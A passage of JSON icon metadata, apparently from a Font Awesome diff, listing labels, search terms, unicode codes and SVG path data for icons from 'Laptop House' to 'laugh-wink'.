"styles": [ + "solid" + ], + "unicode": "e066", + "label": "Laptop House", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635566, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z" + } + }, + "free": [ + "solid" + ] + }, + "laptop-medical": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "device", + "ehr", + "electronic health records", + "history" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f812", + "label": "Laptop Medical", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635567, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "laravel": { + "changes": [ + "5.0.0", + "5.0.3", + "5.11.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3bd", + "label": "Laravel", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539199, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z" + } + }, + "free": [ + "brands" + ] + }, + "lastfm": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f202", + "label": "last.fm", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861002, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z" + } + }, + "free": [ + "brands" + ] + }, + "lastfm-square": { + "changes": [ + "4.2", + "5.0.0", + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f203", + "label": "last.fm Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861002, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z" + } + }, + "free": [ + "brands" + ] + }, + "laugh": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face", + "laugh", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f599", + "label": "Grinning Face With Big Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635568, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z" + }, + "regular": { + "last_modified": 1628088634887, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "laugh-beam": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face", + "happy", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f59a", + "label": "Laugh Face with Beaming Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635568, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" + }, + "regular": { + "last_modified": 1628088634886, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "laugh-squint": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face", + "happy", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f59b", + "label": "Laughing Squinting Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635568, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" + }, + "regular": { + "last_modified": 1628088634886, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "laugh-wink": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face", + "happy", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f59c", + "label": "Laughing Winking Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635568, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" + }, + "regular": { + "last_modified": 1628088634886, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 